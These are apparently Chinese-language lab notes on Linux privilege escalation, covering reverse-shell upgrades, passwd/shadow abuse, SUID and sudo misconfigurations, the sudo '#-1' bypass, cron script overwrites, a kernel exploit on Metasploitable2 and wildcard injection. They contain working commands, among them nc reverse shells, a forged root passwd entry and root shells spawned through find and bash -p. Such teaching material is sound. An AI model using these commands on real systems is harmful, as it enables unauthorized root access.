window和liunx提權學習筆記

liunx提權

反彈shell升級交互式反彈sehell

反彈的服務器

接受的服務器

連接上之后的shell,沒有tab鍵補全,不可以上下鍵顯示歷史命令

你會發現并不能如愿所償,「上下方向鍵」被強制轉換為了 ^[[A、^[[B 等字符。
正是由于「簡單 shell」的各種缺陷,在滲透測試后期提權、內網滲透時都會帶來很多困擾,所以接下來我們需要先將「簡單 shell」升級為支持交互式的「交互式 shell」。

方法一:

通過Python創建偽終端升級(pts)

首先確認目標主機是否支持 Python 環境,通過which pythonwhich python3這兩個命令,分別查看目標主機是否支持 Python2 和 Python3 環境。

使用python的pty模塊創建一個偽終端

python -c 'import pty; pty.spawn("/bin/bash");'

方法二:

socat

首先查看目標主機是否有socat

which socst

接收方:

先監聽

socat file:`tty`,raw,echo=0 tcp-listen:5912

然后在「簡單 shell」中執行如下命令,反彈一個完整的 tty shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912

提取的文字: `socat` 反彈回的 shell 支持歷史命令、tab 補全、ctrl-c 等功能

passwd文件提權

Linux 密碼信息保存在兩個文件中,分別為: /etc/passwd 和 /etc/shadow
/etc/passwd 文件用于保存用戶信息,每一行代表一個用戶,每一行通過冒號:分為七個部分:

  1. 用戶名
  2. 密碼,若為 x 則表示密碼保存在 /etc/shadow
  3. UID,0 代表 root
  4. GID,表示所在組
  5. 描述信息,依次為 Full Name、Room Number、Work Phone、Home Phone 和 Other
  6. 用戶主目錄
  7. 默認 shell 類型

例如,假設 /etc/passwd 文件中其中一行信息如下:

簡單來說,當你登錄 Linux 系統時會有以下幾個步驟:

  1. 檢測「輸入的用戶名」是否與 /etc/passwd 文件中某一行第一個字段匹配。
  2. 若匹配成功,再對比該行第二個字段的密碼,如果均匹配成功即登錄成功。
  3. 登錄成功之后所具有的權限,通過第三個字段 UID 和第四個字段 GID 確定。
  4. 其中 UID=0 代表 root 用戶,也就是說 —— 無論第一個字段代表的用戶名是什么,只要 UID=0,則該賬戶就擁有 root 權限。—— 這點在提權中非常重要。

由此可見,/etc/passwd 文件在 linux 登錄認證過程中起到非常關鍵的作用。

試想,如果我們能夠對 /etc/passwd 文件內容進行偽造、篡改,那就能很輕易的登錄成功并獲取任意用戶權限。


不過一般情況下,只有 root 用戶擁有對 /etc/passwd 文件的寫入權限,其他用戶均只有讀取權限。但有時候由于系統管理員的錯誤配置,也會給我們帶來可乘之機。

通常來說,通過 /etc/passwd 提權的方法有兩種:

  1. 如果具有 /etc/passwd 的 w (寫入) 權限,可以直接添加一個 root 權限的用戶
  2. 如果 /etc/passwd 中存儲 root 用戶密碼哈希,可以使用 john 進行破解

kal自帶john,先將hash的密碼寫入1.txt

shadow文件提權

/etc/shadow文件用于存儲加密后的密碼和密碼相關的配置信息,該文件的每一行代表一個用戶,每行都包含 9 個字段,用冒號(":")隔開,順序如下:

  1. 用戶名

  2. 加密后的密碼

  3. 上次修改密碼的時間(從 1970.1.1 開始的總天數)

  4. 兩次修改密碼間隔的最少天數,如果為 0,則沒有限制

  5. 兩次修改密碼間隔最多的天數,表示該用戶的密碼會在多少天后過期,如果為 99999 則沒有限制

  6. 提前多少天警告用戶密碼將過期

  7. 在密碼過期之后多少天禁用此用戶

  8. 用戶過期日期(從 1970.1.1 開始的總天數),如果為 0,則該用戶永久可用

  9. 保留,未來使用

例如,假設 /etc/shadow 文件中其中一行信息如下:

其含義解讀如下:

  • 用戶名:test-user

  • 加密后的密碼:$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0

  • 上次修改密碼的時間(從 1970.1.1 開始的總天數為 17470)

  • 兩次修改密碼最小間隔天數:沒有限制

  • 兩次修改密碼最大間隔天數:沒有限制

  • 提前 7 天警告用戶密碼將過期

  • 該用戶永久可用

默認情況下,只有 root 權限才能讀取和修改 /etc/shadow 文件,但有時候由于系統管理員的錯誤配置,也會給我們帶來可乘之機。

通常來說,通過 /etc/shadow 提權的方法有兩種:

  1. 如果具有 /etc/shadow 的 w (寫入) 權限,可以直接修改 root 密碼

  2. 如果具有 /etc/shadow 的 r (讀取) 權限,可以通過讀取 root 用戶密碼并使用 john 進行破解

SUID提權(現今有用)

通常情況下,Linux 運行一個程序,是使用當前運行這個程序的用戶權限,這種機制是非常合理的,但有一些程序比較特殊,比如我們常用的 ping 命令。

ping 需要發送 ICMP 報文,這個操作需要發送 Raw Socket,而使用 Raw Socket 是需要 root 權限,那怎么才能讓普通用戶也能使用 ping 命令呢?這時候就要使用到 suid

suid 全稱是 Set owner User ID up on execution ,即——使文件在執行時擁有文件所有者的權限。

我們使用如下命令查看 ping 命令的權限設置:

ls -alh /bin/ping

你會發現 ping 的權限中多了一個 s,這就是 suid。因此無論任何用戶在執行 ping 命令時,ping 命令本身都將擁有其所有者的權限,而 ping 的所有者是 root 用戶,所以 ping 就擁有了 root 權限。

試想,如果擁有 suid 權限(root)的某文件提供了文件修改、執行系統命令的功能,那就能被攻擊者惡意利用來提升系統權限——這就是 SUID 提權的原理。

下面給大家介紹幾種常用的 SUID 提權方法。

nmap提權

首先需要初始化實驗環境,打開終端并執行如下命令:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh

圖片描述

當使用 nmap 進行「UDP 掃描」或「SYN 掃描」時,需要調用 Raw Socket,因此需要 root 權限。

nmap 默認不具有 suid 權限,每次使用的都需要加上 sudo

圖片描述

有些管理員為了使用方便,便給 nmap 加上了 s 權限。

但別忘了,僅具有 s 權限是不能用于提權的,還需要該文件擁有執行系統命令修改文件的功能,恰巧 nmap 2.02~5.21 版本提供了執行系統命令的功能。

使用命令 nmap --version 查看實驗環境中 nmap 的版本:

圖片描述

恰好是 2.01~5.21 之間的版本,此版本可使用命令 nmap --interactive 進入一個交互界面,在該模式下輸入 !sh 便可獲取一個 shell,如下圖所示:

圖片描述

由于此時 nmap 并不具有 s 權限,因此獲取到的 shell 為 shiyanlou 用戶權限。

使用如下命令給 nmap 加上 s 權限:

sudo chmod u+s /usr/bin/nmap

圖片描述

此時 nmap 已經擁有了 s 權限,且文件所有者為 root 用戶,再嘗試以上方法便可獲得 root 權限的 shell。

此處由于實驗樓提供的虛擬技術關系,造成提權不成功,一般情況下是能夠提權成功的。

find 提權

當 find 命令具有 s 權限時,可以借助 find 執行系統命令從而提權。

使用命令 ls -alh /usr/bin/find 查看 find 命令權限:

圖片描述

find 執行系統命令的語法如下:

find <file> -exec <command> \;

其中 <file> 可以為任意文件,因此我們可以先使用 touch 命令創建一個文件 test

圖片描述

然后通過 test 文件執行命令:

find test -exec whoami \;

圖片描述

這樣就能以 root 權限執行命令了,但每次執行命令都要這樣寫未免很麻煩,并且正如之前我們在「TTY shell」中我們講到了,這種方式并不支持需要交互的命令,例如 ssh、su 等。

同學們可以稍微思考一下:如何獲取一個更方便的 root 權限的 shell 呢?

其實方法很簡單,我們可以直接執行 /bin/bash 命令即可:

find test -exec /bin/bash -p \;

注意:必須使用 -p 參數,否者無法獲取 root 權限,至于原因可以參看我寫的這篇文章,這里不再贅述。

圖片描述

cp 和 mv 命令

cpmove 命令具有 s 權限時,可以通過覆蓋 /etc/passwd/etc/shadow 文件,從而獲取 root 權限。

使用命令 ls -alh /bin/cp 查看 cp 命令權限,可以看到 cp已經有了 s 權限:

圖片描述

先將 /etc/passwd 的內容復制一份到用戶主目錄下 ~/passwd:

cat /etc/passwd > ~/passwd

此處不使用 cp 進行復制,因為 cp 會將文件權限一起復制。

圖片描述

然后利用之前在「Linux 提權之 passwd 文件提權」這一章節中提到的方法,我們創建一行用戶數據如下:

  • 用戶名:hacked

  • 密碼:pass123

hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

然后將這行添加到 ~/passwd 文件中:

echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd

圖片描述

最后,通過 cp 命令的 s 權限,用 ~/passwd 覆蓋 /etc/passwd

cp ~/passwd /etc/passwd

覆蓋完成后,通過 su hacked 命令切換即可切換到 hacked 用戶(密碼 pass123):

圖片描述

由于 hacked 用戶的 uid=0,因此我們切換之后成功獲取到 root 權限。

move 命令的提權方法和 cp 命令非常類似,這里就不再贅述,同學們可以自行嘗試一下,如果你有問題歡迎留言。

以上已經給大家介紹了多種 SUID 可執行文件的提權方法,實際上可用于 SUID 提權的還有很多,這里就不給大家一一列舉了,可以通過以下網址查詢提權方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

圖片描述

通過搜索找到對應的命令,查看詳情便可知道具體提權方法。

如何查找 SUID 可執行文件

在實戰中,我們可以使用如下命令來查找主機上所有具有 s 權限的可執行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

圖片描述

但是查詢結果中,通常有大量的無法利用來提權的可執行文件,需要人工進行分析。

有沒有辦法通過自動化腳本來自動分析呢?有的,我寫了一個簡單的腳本來完成自動化分析,項目地址如下:

https://github.com/Jewel591/suidcheck

圖片描述

使用 wget 下載 suidcheck.sh:

wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh

suidcheck.sh 加上可執行權限并執行:

chmod +x suidcheck.sh
./suidcheck.sh

圖片描述

紅框中的結果,就是可用來提權的可執行文件:

圖片描述

此腳本非常簡單,各位同學如果有時間和興趣也可以自己編寫腳本,別忘了在評論區留言分享你的成果哦!

實驗總結

在本節實驗中,我們學習了什么是 SUID 權限,并掌握了通過 nmap、find、cp 三種命令提權的方法。

實際上可通過 SUID 提權的命令遠不止這三種,例如 cat、vim、more、sed 等命令也都可以進行 SUID 提權,但只要你掌握實驗中提到的提權思路,其他命令也就能融會貫通了。

sudo提權

什么是 sudo 權限

在 Linux 中,sudo 命令的作用是讓當前用戶以 root 或其他用戶身份(取決于 /etc/sudoers 文件配置)運行命令,sudo 這個詞是「Super User Do root privilege task」的縮寫。

/etc/sudoers就是 sudo 權限的配置文件,該文件用于配置具有 sudo 權限的用戶和組,當你使用 sudo 運行任何命令時,Linux 系統會檢查 sudoers 文件中配置的用戶名或組,若當前用戶和當前用戶所在的用戶組均不在 sudoers 文件中,則不能使用 sudo 命令。

Sudo 配置文件語法

sudo 的配置文件是 /etc/sudoers,使用如下命令查看實驗主機上 sudoers 的配置:

sudo cat /etc/sudoers

圖片描述

重點關注 # User Privilege specification 這行下面的內容,此處是針對特定的用戶配置 sudo 權限,如上圖所示可以看到一條配置:

root ? ?ALL=(ALL:ALL) ALL

這行配置的含義如下圖所示(Tag 是可選的):

圖片描述

這行配置意為:root 用戶在所有的主機上,能夠以任何用戶任何用戶組的權限,執行任何命令。

很多同學會有疑惑,上面提到的”任何用戶/任何用戶組“是什么意思呢?

其實是因為我們在執行 sudo 命令時,可以使用-u來指定命令以某個特定用戶的權限運行,只要 sudoers 文件中配置允許就可以,例如我們想以用戶 www-data 的權限來執行 whoami 命令:

sudo -u www-data whoami

同理也可以使用-g 來指定命令以某個特定用戶組的權限運行。

Tag是可選的,當被設置為 NOPASSWD 時,意味著執行 sudo 無需密碼。

下面通過一個實例來說明如何配置 sudoers:

假設我們要允許用戶 lanqiao 可以在所有主機上,以 root 用戶的權限執行 more 和 cp 命令且無需輸入密碼,那么可以這樣配置:

# 多個命令用,分割
lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more
# 用戶和用戶組相同時,可以簡寫為一個
lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more

理論知識先講到這里,相信大家對 sudoers 的配置語法已經有了基本的理解,下面我們通過實驗來學習幾種常見的通過 sudo 提權的方法。

具有 root 權限的命令

這種情況是指:可以通過 sudo 以 root 權限執行某些命令,并通過這些命令獲得一個 root 權限的 shell,又細分了兩種情況:

  • 允許執行某個或某些命令,且未對命令參數做限制

  • 只允許執行某條帶參數的具體命令

第一種:sudo 允許執行某個命令,但未對命令參數做限制

執行如下命令,完成初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh

圖片描述

如上圖所示,此時我們已經切換為了普通用戶 tomcat-syl (用于模擬攻擊者獲取的初始 shell ),接下來需要通過 sudo 的配置疏漏提升到 root 權限。

使用sudo -l命令查看當前用戶的 sudo 權限:

圖片描述

如上圖所示,可以看到如下一行配置:

(root) NOPASSWD:/usr/bin/find

等同于:

tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find

意為 tomcat-syl 被允許以 root 權限執行 find 命令,并且無需密碼。這種場景的提權方法和實驗四中我們講過的 SUID 提權非常相似,可以通過下面這條命令提權:

sudo find /home -exec /bin/bash \;

圖片描述

可以看到成功提權到 root 權限,原理如果不清楚的同學可以再回去看一下實驗四,這里不再贅述。

如果是其他命令,和之前實驗中我們講過的一樣,可以通過以下網址查詢提權方法:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

圖片描述

通過搜索找到對應的命令,查看詳情便可知道具體提權方法。

第二種:sudo 允許執行某條帶參數的具體命令

重新打開一個終端,執行如下命令,完成初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh

圖片描述

同樣使用sudo -l命令查看當前用戶的 sudo 權限:

圖片描述

可以看到如下一行配置:

(root) NOPASSWD: /bin/less /var/log/messages

等同于:

tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages

注意: /bin/less/var/log/messages之前沒有, 說明這是一條完整的命令。

意為:tomcat-syl 被允許以 root 權限執行命令 less /var/log/messages,這種情況下由于命令參數被寫死,所以發揮空間就沒有第一種那么大了,一般只有特定的一些情況可以提權,less 命令是其中之一。

鍵入命令 sudo less /var/log/messages 查看日志,隨后輸入 !/bin/bash可以獲得一個 root 權限的 shell:

圖片描述

sudo 自身的漏洞

執行如下命令,完成初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh

首先使用 sudo -l 查看當前用戶的 sudo 權限:

圖片描述

注意ALL!root之間是用逗號隔開的,意為:tomcat-syl 用戶可以以任意非 root 身份運行所有的命令且無需密碼。

例如我們指定以 shiyanlou 用戶的身份運行 whomai 命令:

sudo -u shiyanlou whoami

圖片描述

如上圖所示,此時的用戶權限為 shiyanlou。

若指定以 root 用戶的身份運行 ,則系統會提示輸入密碼:

sudo -u root whoami

圖片描述

看來我們無法通過常規的 sudo 提權方法提升至 root 權限,但是別著急,下面我們再嘗試一下 sudo 本身的漏洞。

首先使用 sudo —-verison 來查看實驗主機上 sudo 的版本:

圖片描述

如上圖所示,sudo 版本為 1.8.16。

這里要為大家介紹一個在滲透測試中用的非常多的網站——「exploit-db」,是 Kali Linux 開發團隊維護用于收集公開漏洞情報的平臺,在 Kali Linux 中內置的 searchsploit 命令行工具對應的數據就來自「exploit-db」,網址如下:

https://www.exploit-db.com/

圖片描述

左邊選擇 EXPLOITS,點擊右上角的搜索圖標,輸入 sudo 1.8 進行搜索:

圖片描述

搜索結果中展示了幾個 sudo 的漏洞,點擊sudo 1.8.27 - Security Bypass查看詳情:

圖片描述

該漏洞在 1.8.28 版本修復了,我們實驗環境中是 1.8.16,很幸運的也在影響范圍內,該漏洞的原理如下:

當用戶在使用 sudo 命令時,通過指定 UID 為 #-1 或 #4294967295,就可以以 root 身份執行命令。 這是因為命令在將 UID 轉換為對應用戶時,會將 -1 或 4294967295 這兩個異常數字視為 0,而 0 是 root 用戶的 UID。

下面我們嘗試一個這個漏洞,在命令行執行以下命令:

sudo -u "#-1" whoami
sudo -u "#4294967295" whoami

圖片描述

如上圖所示,我們成功繞過了 sudoers 配置文件的限制。

類似于之前 SUID 提權中提到的,使用如下命令便可獲得一個 root 權限的 shell:

sudo -u "#-1" bash -p

圖片描述

當然 sudo 還有其他漏洞可以被利用來提權,我們這里只是拋磚引玉,同學們在實戰的時候可以根據 sudo 的版本,在 exploitdb 上查詢具體的漏洞來進行利用。

CronJobs提權

知識點

  • 什么是 Cron Jobs

  • crontab 語法

  • crontab 執行腳本內容覆蓋提權

什么是 Cron 定時任務

Cron Jobs 是 Linux 系統中的「定時任務」,常被用來安排那些需要周期性執行的命令,例如定期備份數據、定期清理緩存等功能,因為使用到 cron 工具(crontab),因此被稱作 Cron Jobs。

CronJobs 作為系統管理員最常用的功能之一,本身是非常棒的一個工具,但如果「定時任務」被設定為以更高的用戶權限運行(例如 root 用戶),則可能會被黑客利用來提權。

crontab 命令使用語法如下:

* ?  * ?  * ?  * ?  * ? [ user ] File/Command
- ? ?- ? ?- ? ?- ? ?-
| ?  | ?  | ?  | ?  |
| ?  | ?  | ?  | ? ?+----- 星期中星期幾 (0 - 7) (星期天 為0)
| ?  | ?  | ? ?+---------- 月份 (1 - 12)
| ?  | ? ?+--------------- 一個月中的第幾天 (1 - 31)
| ? ?+-------------------- 小時 (0 - 23)
+------------------------- 分鐘 (0 - 59)

其中 user 是可選的,若不指定用戶,則使用當前用戶的權限指定。

需要注意的是,只有 root 用戶才能指定以其他用戶的權限來執行命令或腳本。

舉個例子:

如果我們想實現每小時輸出一次 Apache 報錯日志,可以使用如下語句:

0 * * * * echo /var/log/lastlog

因為小時都被設定為 *,因此每當分鐘到達 0 時都會執行一次定時任務——即每小時執行一個。

那如果需要每兩小時的第 15 分鐘執行一次命令,應該如何實現呢?

我們只需要做一個簡單的修改就可以了:

15 */2 * * * echo /var/log/lastlog

下面我們通過一個示例來理解一下cron 的用法。

先執行如下命令初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs.sh |bash

圖片描述

初始化成功之后,你在 shiyanlou 用戶主目錄下能看到 cleanup.py 文件和 trashDirectory 目錄,如上圖所示。

trashDirectory 目錄下有 error.logreadme.txt 兩個文件

圖片描述

我們的實驗目標如下:

通過 crontab 添加一個定時任務,每 1 分鐘通過調用 cleanup.py 腳本清除 ~/trashDirectory 目錄下的所有數據。腳本 cleanup.py 的代碼很簡單,通過 os.system() 函數調用 rm 系統命令來清空 ~/trashDirectory 目錄:

圖片描述

接下來使用如下命令在 crontab 中添加一條定時任務:

sudo vim /etc/crontab
* * ? ? * * * ? root ?  python /home/shiyanlou/cleanup.py

pic

由于我們的實驗機器上 cron 服務默認是關閉的,所以我們需要手動使用下列命令開啟 cron 服務:

sudo service cron start

圖片描述

接下來我們進入 ~/trashDirectory 目錄,使用 ls 命令查看文件夾下的文件:

圖片描述

可以看到,大概一分鐘后 ~/trashDirectory 文件夾下數據被清空,說明 cron jobs 正常執行。

至此,我想大家應該已經理解了 cron 的基本用法,那么下面我們就開始學習如何通過 Cron Jobs 提權。

通過重寫 crontab 調用腳本提權

首先執行如下命令以初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh

pic

如上圖所示,此時我們已經切換到了 tomcat-syl 用戶(用于模擬攻擊者獲取的初始 shell ),我們需要想辦法提權到 root 權限。

使用如下命令查看主機上的計劃任務:

cat /etc/crontab;

圖片描述

有一條定時任務引起了我們注意:系統每分鐘執行一個 ~/cleanup.py 腳本,并且是以 root 用戶的權限運行。

我們查看一下 ~/cleanup.py 腳本文件的內容:

cat /home/shiyanlou/cleanup.py

圖片描述

發現是一個定時清理目錄的任務。

接下來我們再查看該腳本的權限:

ls -al /home/shiyanlou/cleanup.py

圖片描述

發現了嗎? cleanup.py 的文件權限設置存在風險:其他用戶也擁有 w 權限,這意味著我們可以編輯修改 cleanup.py 的內容!

由于 cleanup.py 是以 root 權限運行的,因此我們可以利用的提權的方法非常多,下面我們列舉兩種方法。

利用 cleanup.py 反彈 root 權限的 shell

修改 cleanup.py 腳本執行的命令為如下命令:

# 使用 nc 向本地 4444 端口反彈一個 shell
nc 127.0.0.1 4444 -e /bin/bash

圖片描述

然后執行如下命令監聽本地的 4444 端口:

nc -lnvp 4444

圖片描述

等待一會之后,成功接收到了反彈回的 shell,并且是 root 權限。

構建 SUID 提權

還記得之前我們講過的 SUID 提權嗎?我們也可以通過 cleanup.py 腳本將某些可執行文件修改為 S 權限,這樣我們便可以利用它進行 SUID 提權,例如為 bash 添加 S 權限。

此時 /bin/bash 是沒有 s 權限的:

圖片描述

和之前一樣,修改 cleanup.py 腳本執行的命令為如下命令:

chmod +s /bin/bash

圖片描述

稍等一下,查看 /bin/bash 發現已經擁有了 s 權限,所以定時任務成功執行:

圖片描述

如上圖所示,使用 bash -p 即可獲取 root 權限。

crontab 通配符注入提權

實際滲透測試中,經常還會遇到 crontab 和 「Linux 通配符注入」結合進行提權的場景,但是由于通配符注入需要講的內容還比較多,所以我們會在下一章中給大家介紹這種方法。

實驗總結

在本節實驗中,我們學習了什么是 Cron Jobs 和 Cron 的使用語法,并通過實驗掌握了 crontab 的使用方法,最后我們通過 crontab 的不正確配置將 shell 成功提權到 root 權限。

內核漏洞提權(現今有用)

知識點

  • 什么是 Linux 內核漏洞?

  • 如何查詢 Linux 發行版本、內核版本信息?

  • 如何查找可利用的內核漏洞?

  • 如何上傳文件到靶機?

  • 下載、編輯、執行 exp 的方法

實驗開始

在學習內核漏洞提權之前,需要給大家強調一個關鍵點:

Linux 內核漏洞可能會造成 Linux 系統崩潰、宕機,因此請優先嘗試前面幾章中講解的提權方法,僅當前幾種方法都無法成功提權時,才考慮使用內核漏洞來提權。

什么是 Linux 內核:

Linux 內核是 Linux 操作系統的主要組成部分,是計算機硬件與其進程之間的核心接口。它在兩者之間進行交流,盡可能有效地管理資源。

內核之所以如此命名,是因為它就像硬殼里的一顆種子,存在于操作系統中,控制著硬件的所有主要功能,無論是手機、筆記本電腦、服務器還是其他任何類型的計算機。

什么是 Linux 內核漏洞:

Linux 內核是 Github 上的一個開源項目,擁有近百萬次 commit,開發人員超過 5000 人,其中包括來自微軟、谷歌、英特爾和紅帽等科技巨頭的人才。

既然開發人員如此之多,代碼修改如此頻繁,必然會有各種各樣的 Linux 內核漏洞出現。多年來,Linux 內核已經成為了積累漏洞最多的開源項目之一。

Linux 內核漏洞提權,就是通過利用 Linux 內核漏洞來執行具有高權限的任意代碼,從而達到提權的目的。

使用內核漏洞提權一般包含以下三個步驟:

  1. 收集信息:確認目標主機 Linux 發行版本號、內核版本號

  2. 查找漏洞:根據發行版本號和內核版本號搜索可利用的內核漏洞

  3. 執行攻擊:下載漏洞利用 EXP、編譯 exp、執行 exp

下面我們通過一個實驗,來給大家詳細的講解這三個步驟的具體方法。

本章實驗我們需要使用到 Metasploitable2 虛擬靶機,使用如下命令開啟靶機:

sudo virsh start Metasploitable2

圖片描述

Metasploitable2 靶機的信息如下:

  • IP:192.168.122.102

  • 用戶名: msfadmin

  • 密碼:msfadmin

Metasploitable2 是 kvm 搭建的靶機,所以啟動會比較慢。稍微等待 1~2 分鐘,直到可以 ping 通192.168.122.102為止:

圖片描述

使用 ssh 連接到靶機,密碼是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

圖片描述

如上圖所示,成功登錄Metasploitable2,權限是普通用戶 msfadmin——用于模擬滲透測試獲取到的初始 shell。

接下里我們將演示,從收集主機信息,到查找內核漏洞,再到下載、編譯、利用漏洞 exp 提權到 root 權限的全過程。

收集信息

一般需要關注 Linux 的發行版本、內核版本,分別使用以下兩個命令進行查詢:

  • lsb_release -a

圖片描述

可以知道靶機運行的是 Ubuntu 發行版本,版本號為 8.04。

某些發行版本的 Linux 不支持 lsb_release 命令,可以使用 uname -sn來查詢。

  • uname -r

uname -r 是用來查詢 Linux 內核版本,注意和發行版本作區分。

圖片描述

從上圖可知,靶機的內核版本為2.6.24

查找漏洞

我們已經知道了靶機的發行版本和內核版本,接下來需要使用這兩個數據去查詢可能存在的內核漏洞。查詢方法常用的有如下幾種:

  • searchsploit 命令行工具(僅在 Kali Linux 上)

  • Exploit-db.com

  • Google 搜索引擎

[Exploit-db.com](http://exploit-db.com)searchsploit都是同一個數據庫,我們這里演示[Exploit-db.com](http://exploit-db.com)的查詢方法。

打開網址:Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers,選擇左上角的 EXPLOITS

圖片描述

先在右上角的 Search 輸入關鍵詞,因為是內核漏洞提權,所以先輸入 privilegekernel

然后再鍵入內核版本 2.6 (一般先搜索大版本即可,搜索小版本可能導致搜索結果有遺漏)和 Linux 發行版本 ubuntu。最后的搜索關鍵字組合是:

privilege kernel 2.6 ubuntu

然后點擊右上角的Filter,在高級搜索中,Type 選擇 local、Platform 選擇 Linux

圖片描述

如上圖所示,共得到 10 條結果,一般我們先嘗試經過驗證的 exp —— 即左邊有綠色小勾的。

如果是 searchsploit命令行工具,使用如下命令可以查詢到相同的結果,你可以在 Kali Linux 中嘗試一下:

searchsploit privilege|grep -i linux|grep -i kernel|grep -i 2.6|grep -i ubuntu

執行攻擊

注意:并不是每一條漏洞都可以提權成功的,通常情況下,我們會逐一嘗試利用。

這里為了節約大家時間,我們直接選取一條可以提權成功的來做演示:

圖片描述

接下來需要下載 exp,因為大多數情況下靶機是沒有連接外網的權限的,所以都是下載到攻擊機(例如 Kali Linux),然后再搭建 HTTP 服務上傳到靶機。

右鍵下載按鈕,復制下載鏈接地址:

圖片描述

在靶機上使用 wget 工具下載并存儲到 /tmp/exploit.c,命令如下(主機是在 shiyanlou用戶 終端,不要在 Metasploitable2 的 ssh 終端中下載):

wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c

圖片描述

接下來進入/tmp目錄,使用 Python3 快速搭建 HTTP 服務,端口為 8000:

cd /tmp
python3 -m http.server 8000

圖片描述

使用 ip addr 命令查詢到主機 IP 地址為 192.168.122.1

圖片描述

在 Metasploitable2 終端中使用 wget 工具下載 exploit.c 并保存到/tmp:

wget 192.168.122.1:8000/exploit.c -P /tmp

圖片描述

接下來就需要編譯 exploit.c,需要使用到 gcc 工具,命令如下:

gcc exploit.c -o exploit

/tmp 目錄下會生成一個名為 exploit 的可執行文件:

圖片描述

嘗試執行./exploit,彈出如下提示:

圖片描述

說明我們需要回去看一下 exp 的使用方法:

圖片描述

閱讀以上說明,使用方法如下:

  1. 執行./exploit PID 需要指定/proc/net/netlink 進程的 PID 號

  2. 執行成功后,會自動以 root 權限執行/tmp/run腳本,腳本內容需要我們自己創建,payload 我們可以任意發揮。

按照以上說明,先查看/proc/net/netlink進程 ID:

cat /proc/net/netlink

圖片描述

獲取到 pid 為 2410,接下來我們創建 /tmp/run shell 腳本:

echo '#!/bin/bash' >> /tmp/run
echo 'nc 192.168.122.1 4444 -e /bin/bash' >> /tmp/run
chmod +x /tmp/run

圖片描述

/tmp/run腳本的內容如下:

#!/bin/bash
nc 192.168.122.1 4444 -e /bin/bash

這樣,當該腳本被執行時,就會向 192.168.122.1 的 4444 端口反彈 shell,所以我們現在本地主機上使用 nc 監聽 4444 端口:

nc -lnvp 4444

圖片描述

一切準備就緒,在靶機上執行如下命令:

./exploit 2410

圖片描述

如上圖所示,成功反彈回 shell。

實驗總結

在本節實驗中,我們了解了什么是 Linux 內核、什么是 Linux 內核漏洞,并通過一個具體的實驗,理解了收集信息、查找漏洞、執行攻擊、完成提權的全過程。通常來說,并非每次都能迅速找到可利用成功的漏洞 exp,如果攻擊不成功可以嘗試下面兩種方法:

  • 更換相同 CVE 漏洞的不同 exp

  • 更換不同的 CVE 漏洞

總結一句話:內核漏洞提權一定要有耐心~

通配符注入提權

知識點

  • 通配符注入原理介紹

  • tar 通配符注入示例

  • crontab 搭配 tar 提權實驗

實驗開始

什么是通配符:

對 Linux 有一定了解的同學應該會知道通配符,通配符是一個字符或一組字符,可以用來替換某些范圍/類別的字符。

下面是一些常見的通配符:

  • * 星號可以與文件名中的任意數量的字符匹配,包括 0 個字符。

  • ? 問號用于匹配任意單個字符。

  • [] 括號內包括一組字符,其中任何一個字符都可以匹配該位置上的單個字符。

  • ~ 單詞開頭的波浪符表示當前用戶的主目錄的名稱。如果該字符后面是另一個用戶的登錄名,則表示該用戶的主目錄。

其中,在實際的 Linux 提權中,我們使用到比較多的是*-,首先通過一個示例了解一下 Linux shell 對-字符會怎么處理的。

先運行如下命令初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_introduction.sh > ~/init_Wildcard_introduction.sh;chmod +x ~/init_Wildcard_introduction.sh;sudo ./init_Wildcard_introduction.sh

圖片描述

初始化完成之后,可以看到當前目錄下有一個文件名為—-help的文件,大家先思考并嘗試一下,你要如何查看他的內容呢?

圖片描述

如果你使用 cat —-help命令查看,會有如下提示:

圖片描述

類似的,如果你使用 vim —-help 查看也是一樣的:

圖片描述

這是因為在 Linux shell 中,-會被解釋為命令參數,如果你要查看-—help 文件的內容,就需要避免以-為文件名的開頭,例如你可以使用:

cat ~/--help

圖片描述

這樣就可以避免 shell 將—-help 解釋為參數,而通配符注入正好就是利用的 shell 這一特點。

通配符注入通常會和 cron job 結合使用,下面我們通過實戰來理解 tar 命令的通配符注入。

Crontab Tar 通配符注入:

通配符注入經常會和 Crontab 一起使用,下面我們通過一個實驗來理解經典的 tar 通配符注入提權。

首先執行如下命令以初始化實驗環境:

